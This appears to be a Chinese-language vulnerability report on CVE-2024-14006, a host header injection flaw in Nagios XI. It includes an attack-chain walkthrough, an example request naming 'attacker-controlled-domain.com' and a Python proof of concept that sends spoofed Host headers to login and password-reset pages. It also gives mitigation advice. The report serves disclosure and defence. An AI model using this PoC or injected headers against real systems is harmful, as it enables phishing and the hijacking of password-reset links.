IPBUF安全漏洞报告
English
CVE-2024-14006 CVSS 6.1 中危

CVE-2024-14006 Nagios XI 主机头注入漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2024-14006
漏洞类型
主机头注入
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

主机头注入Nagios XIWeb安全钓鱼攻击URL污染CVE-2024-14006中危漏洞网络监控

漏洞概述

CVE-2024-14006是Nagios XI软件中的一个主机头注入(Host Header Injection)安全漏洞。该漏洞存在于2024R1.2.2之前的所有Nagios XI版本中。漏洞的根本原因在于应用程序在构造绝对URL时,过度信任用户提供的HTTP Host头部信息,而没有对其进行充分的验证和过滤。攻击者可以通过在HTTP请求中注入恶意的Host头字段,操纵应用程序生成的链接、重定向URL和电子邮件中的链接。由于Nagios XI通常作为企业级网络监控解决方案部署,攻击者可以利用此漏洞进行钓鱼攻击,窃取用户凭证;劫持账户恢复链接;实施Web缓存中毒攻击,从而对受害者造成进一步损害。该漏洞无需认证即可利用,但需要用户交互才能完成攻击。CVSS 3.1评分为6.1,属于中等严重程度。

技术细节

主机头注入漏洞发生在Nagios XI处理HTTP请求时,应用程序直接使用请求中的Host头值来构建绝对URL。当Web应用程序信任并反映用户控制的Host头时,攻击者可以注入任意域名或IP地址。在实际攻击场景中,攻击者首先向目标Nagios XI服务器发送带有伪造Host头的HTTP请求,例如:GET /nagiosxi/ HTTP/1.1\r\nHost: attacker-controlled-domain.com\r\n。当应用程序生成邮件通知、密码重置链接或重定向响应时,这些内容会包含攻击者指定的域名。受害者点击这些链接或邮件时,会被重定向到恶意网站,从而遭受钓鱼攻击。此外,攻击者还可以利用此漏洞进行Web缓存中毒,污染CDN或反向代理缓存中的内容,影响其他访问同一资源的用户。修复此漏洞需要Nagios XI在服务器端配置中明确指定可信的域名,并在构造URL时使用白名单机制而非信任用户输入。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Nagios XI服务器版本,确认其低于2024R1.2.2
STEP 2
步骤2: 构造恶意请求
攻击者构造HTTP请求,在Host头中注入恶意域名,如attacker-controlled-domain.com
STEP 3
步骤3: 触发漏洞
向Nagios XI的登录页面、密码重置页面或通知功能发送恶意请求
STEP 4
步骤4: URL污染
应用程序使用注入的Host头值构造绝对URL,生成包含恶意域名的链接或邮件
STEP 5
步骤5: 社会工程攻击
诱骗用户点击污染后的链接,重定向到钓鱼网站或恶意页面,窃取凭证或执行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys def test_host_header_injection(target_url): """ CVE-2024-14006 PoC - Nagios XI Host Header Injection This PoC demonstrates how to inject a malicious Host header to poison generated URLs in Nagios XI responses. """ print(f"[*] Testing Host Header Injection on {target_url}") # Malicious Host header to inject malicious_host = "attacker-controlled-domain.com" # Target common Nagios XI paths paths = [ "/nagiosxi/", "/nagiosxi/login.php", "/nagiosxi/forgot_password.php" ] for path in paths: try: # Send request with malicious Host header headers = { "Host": malicious_host, "User-Agent": "Mozilla/5.0 PoC-Tester/1.0" } response = requests.get(target_url + path, headers=headers, timeout=10, verify=False) # Check if the malicious host appears in response headers or body if malicious_host in response.text or malicious_host in str(response.headers): print(f"[+] VULNERABLE: {path}") print(f" Malicious Host found in response") else: print(f"[-] Not vulnerable: {path}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {path}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://nagios-server.local") sys.exit(1) target = sys.argv[1].rstrip('/') test_host_header_injection(target)

影响范围

Nagios XI < 2024R1.2.2

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web服务器(如Apache/Nginx)强制使用固定的服务器名称,并拒绝Host头与预期值不匹配的请求。同时,监控日志中的异常Host头请求,及时发现潜在的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表